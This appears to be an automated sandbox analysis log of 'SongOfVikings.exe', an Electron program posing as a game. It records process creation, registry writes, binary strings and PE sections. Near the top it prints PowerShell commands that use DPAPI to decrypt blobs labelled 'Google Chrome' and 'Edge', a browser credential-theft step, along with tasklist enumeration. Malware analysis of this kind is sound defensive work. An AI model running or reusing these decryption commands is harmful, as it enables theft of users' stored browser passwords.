Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --mojo-platform-channel-handle=2440 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1904 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')
Source: C:\Users\user\Desktop\SongOfVikings.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Automated click: OK
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Automated click: OK
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cdf7078b-99f0-53cc-bffc-b945975ddd33 Jump to behavior
Source: SongOfVikings.exe Static file information: File size 84118788 > 1048576
Source: SongOfVikings.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: BCC = $(NCC) -nologo -W3 -Fd$*.pdb $(CCOPTS) $(BCCOPTS) source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\NODE_SQLITE3.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\NODE_SQLITE3.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: del /Q *.exp *.lo *.ilk *.lib *.obj *.ncb *.pdb *.sdf *.suo 2>NUL source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: SongOfVikings.exe, 00000000.00000003.1907116496.0000000006529000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\NODE_SQLITE3.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: LTCOMPILE = $(TCC) -Fo$@ -Fd$*.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: CLEANFILES="$CLEANFILES *.lib *.dll *.pdb *.exp" source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /OUT:"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\NODE_SQLITE3.NODE" /INCREMENTAL:NO /NOLOGO KERNEL32.LIB USER32.LIB GDI32.LIB WINSPOOL.LIB COMDLG32.LIB ADVAPI32.LIB SHELL32.LIB OLE32.LIB OLEAUT32.LIB UUID.LIB ODBC32.LIB DELAYIMP.LIB "C:\\USERS\\SERC\\.ELECTRON-GYP\\24.8.8\\X64\\NODE.LIB" DELAYIMP.LIB /DELAYLOAD:NODE.EXE /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG /PDB:"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\NODE_SQLITE3.PDB" /OPT:REF /OPT:ICF /TLBID:1 /DYNAMICBASE /NXCOMPAT /MACHINE:X64 /LTCG:INCREMENTAL /ignore:4199 /DLL RELEASE\OBJ\NODE_SQLITE3\WIN_DELAY_LOAD_HOOK.OBJ source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\ffmpeg.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1839965990.00000000051BD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\PROGRAM FILES (X86)\MICROSOFT VISUAL STUDIO\2019\ENTERPRISE\VC\TOOLS\MSVC\14.29.30133\LIB\X64\LIBCMT.AMD64.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\NODE-GYP\SRC\WIN_DELAY_LOAD_HOOK.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\Release\sqlite3.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: SQLITE3EXEPDB = /pdb:sqlite3sh.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ** rbu_file.pDb!=0, then it is assumed to already be present on the source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D3DCompiler_47.pdb source: SongOfVikings.exe, 00000000.00000003.1839026693.00000000051B7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: -FdC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\Release\sqlite3.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: -typedil-fC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\node-gyp\src\win_delay_load_hook.cc-dos-Zi-Z7-W3-pdbrpc-Og-Ob2-Ot-EHs-MT-GS-Gy-FitObjFunc-FitObjData-NoRTTI-FoC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\deps\Release\obj\sqlite3\win_delay_load_hook.obj-FdC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\Release\sqlite3.pdb-errorreport:queue source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\electron.exe.pdb source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D3DCompiler_47.pdbGCTL source: SongOfVikings.exe, 00000000.00000003.1839026693.00000000051B7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\PROGRAM FILES (X86)\MICROSOFT VISUAL STUDIO\2019\ENTERPRISE\VC\TOOLS\MSVC\14.29.30133\LIB\X64\LIBVCRUNTIME.AMD64.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: BCC = $(NCC) -nologo -W4 -Fd$*.pdb $(CCOPTS) $(BCCOPTS) source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\vk_swiftshader.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1902908317.00000000051B1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\BACKUP.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\BACKUP.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\STATEMENT.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\STATEMENT.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ** for all file descriptors with rbu_file.pDb!=0. If the argument has source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\PROGRAM FILES (X86)\MICROSOFT VISUAL STUDIO\2019\ENTERPRISE\VC\TOOLS\MSVC\14.29.30133\LIB\X64\LIBCPMT.AMD64.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\DATABASE.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\DATABASE.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ** rbu_file.pDb!=0. source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\vulkan-1.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1834103716.0000000005A90000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1833977942.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1835988710.0000000005AD0000.00000004.00001000.00020000.00000000.sdmp
Source: SongOfVikings.exe.0.dr Static PE information: section name: .00cfg
Source: SongOfVikings.exe.0.dr Static PE information: section name: .gxfg
Source: SongOfVikings.exe.0.dr Static PE information: section name: .retplne
Source: SongOfVikings.exe.0.dr Static PE information: section name: .rodata
Source: SongOfVikings.exe.0.dr Static PE information: section name: CPADinfo
Source: SongOfVikings.exe.0.dr Static PE information: section name: LZMADEC
Source: SongOfVikings.exe.0.dr Static PE information: section name: _RDATA
Source: SongOfVikings.exe.0.dr Static PE information: section name: malloc_h
Source: ffmpeg.dll.0.dr Static PE information: section name: .00cfg
Source: ffmpeg.dll.0.dr Static PE information: section name: .gxfg
Source: ffmpeg.dll.0.dr Static PE information: section name: .retplne
Source: ffmpeg.dll.0.dr Static PE information: section name: _RDATA
Source: libEGL.dll.0.dr Static PE information: section name: .00cfg
Source: libEGL.dll.0.dr Static PE information: section name: .gxfg
Source: libEGL.dll.0.dr Static PE information: section name: .retplne
Source: libEGL.dll.0.dr Static PE information: section name: _RDATA
Source: libGLESv2.dll.0.dr Static PE information: section name: .00cfg
Source: libGLESv2.dll.0.dr Static PE information: section name: .gxfg
Source: libGLESv2.dll.0.dr Static PE information: section name: .retplne
Source: libGLESv2.dll.0.dr Static PE information: section name: _RDATA
Source: SongOfVikings.exe0.0.dr Static PE information: section name: .00cfg
Source: SongOfVikings.exe0.0.dr Static PE information: section name: .gxfg
Source: SongOfVikings.exe0.0.dr Static PE information: section name: .retplne
Source: SongOfVikings.exe0.0.dr Static PE information: section name: .rodata
Source: SongOfVikings.exe0.0.dr Static PE information: section name: CPADinfo
